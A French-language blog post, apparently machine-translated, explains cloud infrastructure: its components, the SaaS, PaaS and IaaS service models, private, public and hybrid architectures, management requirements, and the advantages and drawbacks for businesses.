Au lieu d'investir dans du matériel coûteux tout en devant gérer et entretenir un centre de données en interne, les entreprises se tournent vers des fournisseurs de cloud comme Amazon Web Services, Google Cloud et Microsoft Azure pour une infrastructure cloud flexible afin de fournir des ressources informatiques, de mise en réseau et de stockage modernisées. Mais qu'est-ce qu'une organisation doit prendre en compte lors de la sélection et de la mise en œuvre d'une infrastructure de cloud qui convient le mieux à son écosystème commercial tout en répondant aux exigences de flux de travail et en fournissant des résultats idéaux ?

Ce blog couvrira les réponses à ces questions importantes et bien d'autres choses que vous devez savoir sur le cloud.

Qu'est-ce que l'infrastructure cloud ?

Définir exactement ce qu'est une infrastructure cloud peut être vaste et complexe. Mais au final, une infrastructure basée sur le cloud comporte plusieurs composants clés, notamment, mais sans s'y limiter, une combinaison de :

• Les serveurs
• Logiciel
• Périphériques réseau
• Autres ressources de stockage

Ce sont ces composants, qui sont tous nécessaires pour créer des applications qui sont ensuite accessibles via le cloud. Ces applications peuvent être récupérées à distance via Internet, les services de télécommunications, les WAN (réseaux étendus) et d'autres moyens de réseau.

Comment l'infrastructure cloud est-elle catégorisée ?

L'infrastructure cloud est généralement classée en trois parties qui collaborent toutes pour créer un service cloud :

1. Informatique : La partie informatique de l'infrastructure est fournie par des racks de serveurs afin de fournir des services cloud pour divers services et partenaires.
   
   
2. Mise en réseau : pour transférer des données vers l'extérieur ainsi qu'entre les ordinateurs et les systèmes de stockage, cette partie de l'infrastructure s'appuie sur des routeurs et des commutateurs.
   
   
3. Stockage : une infrastructure cloud aura probablement besoin d'un stockage considérable en utilisant souvent une combinaison de disques durs et de stockage flash.

Infrastructure cloud vs SaaS, PaaS et IaaS

Il existe généralement trois modèles de services cloud : SaaS (Software as a Service), PaaS (Platform as a Service) et IaaS (Infrastructure as a Service). Chaque service a différents niveaux d'avantages et de différences.

• SaaS : le logiciel en tant que service (ou services d'application cloud) est le type de service cloud le plus largement utilisé. Populaire pour les entreprises car les entreprises SaaS offrent une expérience client solide grâce à l'échange d'informations et aux services, le SaaS soulage une grande partie de la charge informatique de l'entreprise. Le SaaS utilise Internet pour fournir des applications et des services distribués, éliminant ainsi le besoin pour les clients de télécharger un logiciel. Avec le SaaS, un fournisseur de cloud gère entièrement l'ensemble de l'offre : applications, données, environnement d'exécution, middleware, systèmes d'exploitation, services, stockage, mise en réseau et virtualisation.

• PaaS : la plate-forme en tant que service est quelque peu comparable au SaaS, mais offre à la place une plate-forme pour créer des logiciels. La méthode PaaS est livrée via Internet, donnant aux équipes informatiques la possibilité de concevoir des logiciels sans se soucier d'autres aspects. Avec PaaS, le fournisseur de cloud prend en charge la majorité du service, y compris le runtime, le middleware, les systèmes d'exploitation, les serveurs, le stockage, la mise en réseau et la virtualisation. L'entreprise n'a donc à se soucier que de la gestion de ses applications et de ses données.

• IaaS : l'infrastructure en tant que service offre le contrôle le plus interne, permettant l'accès et la maintenance directe à la plupart des ressources cloud. IaaS est largement automatisé et évolutif, car les clients peuvent acheter des ressources selon leurs besoins sans dépendre du matériel interne. Avec IaaS, les services cloud sont principalement gérés par une entreprise, y compris les applications, les données, le runtime, les middleware et les systèmes d'exploitation. Mais le fournisseur de cloud est responsable des services, du stockage, de la mise en réseau et de la virtualisation.

Différence entre les architectures de cloud privé, public et hybride

Une infrastructure cloud est proposée selon trois méthodes : privée, publique et hybride. Chacun offre une quantité variable de sécurité, de contrôle et de gestion.

• Privé : avec une architecture de cloud privé, le service est effectué en interne et sur site. Les ressources sont partagées en interne entre les utilisateurs protégés pour un niveau élevé de contrôle et de sécurité des données sensibles. Cette méthode est souvent mieux exécutée lorsqu'une entreprise est suffisamment grande pour exploiter efficacement son propre centre de données cloud et dispose du budget pour le financer. Un cloud privé a du sens, par exemple, si l'activité d'une entreprise tourne autour d'une application et de ses données.

• Public : une architecture de cloud public est un service fourni, géré et maintenu hors site via Internet. Cette méthode peut aider à rationaliser les flux de travail et la collaboration sur les applications avec de nombreux utilisateurs (e-mail, par exemple), rendant le partage des ressources plus efficace. Cependant, le risque de vulnérabilité est plus élevé avec une offre publique. Un cloud public a du sens, par exemple, si une entreprise travaille sur un projet de développement logiciel ad-hoc avec une offre PaaS.

• Hybride : une architecture de cloud hybride comprend une combinaison d'offres de cloud privé et public. Cette offre offre efficacité avec un cloud public et sécurité avec un cloud privé, mais une entreprise doit gérer de nombreuses plateformes à la fois tout en garantissant une intégration transparente des API. Un cloud hybride est le plus logique, par exemple, si une entreprise souhaite activer une application SaaS tout en privilégiant la sécurité. Par conséquent, le fournisseur SaaS créerait un cloud privé au sein de son pare-feu.

Infrastructure cloud en tant que service

Une infrastructure cloud en tant que service (IaaS), comme pour toute technologie cloud, est accessible via Internet via le centre de données d'un fournisseur de cloud, qui est responsable de la maintenance et de la gestion du matériel traditionnel sur site comme les serveurs et autres périphériques de stockage ainsi que la mise en réseau et la visualisation. Cela signifie que le client a la liberté et le contrôle pour gérer les applications, les données, les middleware et autres systèmes d'exploitation.

Avec une solution cloud IaaS, il existe des services d'infrastructure importants tels que la surveillance du réseau, la sécurité, la facturation, la reprise après sinistre et l'équilibrage de charge. Il existe également une automatisation et une orchestration avancées pour simplifier les performances et la gestion des applications, ainsi que pour faciliter l'installation de systèmes d'exploitation, le déploiement de middleware, le lancement de machines virtuelles et la création de stockage et de sauvegardes de charges de travail.

Gestion de l'infrastructure cloud

L'objectif principal de la gestion de l'infrastructure cloud est de fournir une évolutivité de l'entreprise tout en consolidant les ressources informatiques et en permettant à une variété d'utilisateurs de partager la même infrastructure sans compromettre les données des uns et des autres. À long terme, cela réduit les coûts d'exploitation.

Une interface de gestion d'infrastructure cloud (CIMI) est une exigence d'API standard ouverte pour la gestion de l'infrastructure cloud et permet aux utilisateurs de la gérer de manière simplifiée avec une communication homogène entre les écosystèmes cloud. Cela permet d'obtenir une gestion interopérable entre les fournisseurs de cloud, les développeurs et les clients.

Conditions requises pour la création d'une infrastructure cloud

Lors de l'élaboration d'une stratégie cloud, plusieurs étapes approfondies doivent être suivies pour garantir une infrastructure robuste.

1 - Gestion des services et des ressources

Une infrastructure cloud virtualise tous les composants d'un datacenter. La gestion des services est un ensemble mesuré d'applications et de services que les utilisateurs finaux peuvent facilement déployer et gérer via un fournisseur de cloud public et/ou privé. Et un outil simplifié pour décrire et évaluer les services est vital pour les administrateurs cloud pour commercialiser les fonctionnalités. La gestion des services doit contenir la maintenance des ressources, les garanties de ressources, les cycles de facturation et les réglementations mesurées. Une fois déployés, les services de gestion doivent aider à créer des politiques pour les données et les flux de travail afin de s'assurer qu'ils sont pleinement efficaces et que les processus sont fournis aux systèmes dans le cloud.

2 - Intégration des outils de gestion de centre de données

La plupart des centres de données utilisent une variété d'outils informatiques pour la gestion des systèmes, la sécurité, l'approvisionnement, le service client, la facturation et les annuaires, entre autres. Et ceux-ci fonctionnent avec des services de gestion cloud et des API ouvertes pour intégrer les systèmes d'exploitation, d'administration, de maintenance et de provisionnement (OAM&P) existants. Un service cloud moderne doit prendre en charge l'infrastructure existante d'un centre de données ainsi que tirer parti des logiciels, du matériel, de la virtualisation et d'autres technologies modernes.

3 - Reporting, Visibilité, Fiabilité, Sécurité

Les centres de données ont besoin de niveaux élevés de capacités de reporting et de visibilité en temps réel dans les environnements cloud pour garantir la conformité, les SLA, la sécurité, la facturation et les rétrofacturations. Sans rapports et visibilité solides, la gestion des performances du système, du service client et d'autres processus est presque impossible. Et pour être totalement fiables, les infrastructures cloud doivent fonctionner indépendamment d'un ou plusieurs composants défaillants. Pour protéger le cloud, les services doivent garantir la sécurité des données et des applications tout en fournissant un accès aux personnes autorisées.

4 - Interfaces pour les utilisateurs, les administrateurs et les développeurs

Le déploiement automatisé et les interfaces en libre-service facilitent les services cloud complexes pour les utilisateurs finaux, ce qui contribue à réduire les coûts d'exploitation et à favoriser l'adoption. Les interfaces en libre-service offrent aux clients la possibilité de lancer efficacement un service cloud en gérant virtuellement leurs propres centres de données, en concevant et en pilotant des modèles, en gérant le stockage virtuel, les ressources réseau et en utilisant des bibliothèques. Les interfaces administrateur présentent une meilleure visibilité sur toutes les ressources, machines virtuelles, modèles, offres de services et divers utilisateurs du cloud. Et toutes ces structures s'intègrent via des API pour les développeurs.

Avantages de l'utilisation de l'infrastructure cloud

Les arguments en faveur de l'utilisation du cloud ne font que se renforcer à mesure que la technologie continue de s'améliorer. Ainsi, la migration vers une infrastructure cloud qui aide les entreprises à rationaliser les processus métier présente des avantages clés évidents.

• Coût : Avant tout, le cloud supprime ou réduit considérablement les dépenses d'exploitation d'une entreprise qui met en place et gère son propre centre de données. La prise en charge de ce processus commence à s'additionner avec tous les divers matériels, logiciels, serveurs, factures d'énergie, experts informatiques et les mises à jour qui accompagnent cette configuration à multiples facettes. Avec l'infrastructure cloud, une entreprise paie simplement pour que tout soit géré tout en ne payant que pour les services nécessaires.

• Agilité et flexibilité : la plupart des infrastructures de services cloud sont proposées comme autogérées, où les modifications de service peuvent être apportées en quelques minutes. Cela améliore la disponibilité et l'efficacité des systèmes d'entreprise tout en permettant aux collègues et partenaires hors site d'accéder aux données partagées sur les appareils mobiles à tout moment et en tout lieu. Et avec une infrastructure cloud gérant les processus, une entreprise devient plus axée sur les affaires que sur l'informatique.

• Sécurité : il existe une idée fausse répandue selon laquelle les services cloud ne sont généralement pas sécurisés et que les données peuvent facilement être compromises. Il y a une part de vérité dans le fait que, cependant, les risques sont souvent exagérés, au moins en termes d'infrastructure et de services cloud au niveau de l'entreprise. Les technologies et les fournisseurs d'infrastructure cloud améliorent toujours la protection contre les pirates, les virus et autres violations de données avec des pare-feu plus puissants, des clés de chiffrement avancées et une approche hybride qui stocke les données sensibles dans un cloud privé et d'autres données, même des applications, dans un cloud public.

Inconvénients de l'utilisation de l'infrastructure cloud

Cela étant dit, toutes les infrastructures cloud ne sont pas parfaites. Et s'il y a bien plus d'avantages, il y a quand même quelques inconvénients.

• Renversement de fournisseur : le cloud est toujours une technologie en évolution, mais en amélioration, qui fluctue rapidement. Cela signifie que certaines sociétés de services cloud font les choses correctement et d'autres non. Si une entreprise fait faillite ou subit une refonte massive, cela pourrait être destructeur pour une entreprise qui repose sur une seule infrastructure.

• Dépendance de la connexion : une infrastructure cloud est aussi bonne que sa connexion réseau. Par conséquent, le cloud ne peut pas rester à flot sans une connexion fiable. Tout problème dans une connexion Internet ou intranet en raison d'une panne technique ou d'une tempête signifie que le cloud tombe en panne avec toutes les données, logiciels et/ou applications qu'il contient. Un réseau fiable signifie que les promesses commerciales et les SLA sont tenus.

• Contrôle : étant donné que l'infrastructure cloud d'une entreprise est généralement contrôlée par son fournisseur de services, il arrive parfois que les organisations aient un accès limité aux données. Et les clients professionnels ont encore moins de contrôle qu'ils ne le souhaiteraient, avec un accès limité aux applications, données et outils stockés sur un serveur.

La ligne de front de la transformation numérique

Au fur et à mesure que la technologie de la plate-forme d'intégration cloud continue d'évoluer et de s'améliorer, elle deviendra encore plus une aubaine pour les entreprises qui cherchent à moins s'occuper de la maintenance et de la gestion de leurs propres serveurs et autres outils de stockage. Qu'une organisation se tourne vers une infrastructure cloud unique ou une infrastructure multi-cloud, la progression du cloud dans son ensemble et des services qui l'accompagnent permet à une entreprise d'être en première ligne à l'ère de la transformation numérique.